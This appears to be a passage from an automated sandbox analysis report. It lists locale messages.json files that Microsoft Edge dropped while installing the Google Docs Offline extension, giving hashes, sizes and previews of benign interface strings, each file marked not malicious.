Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
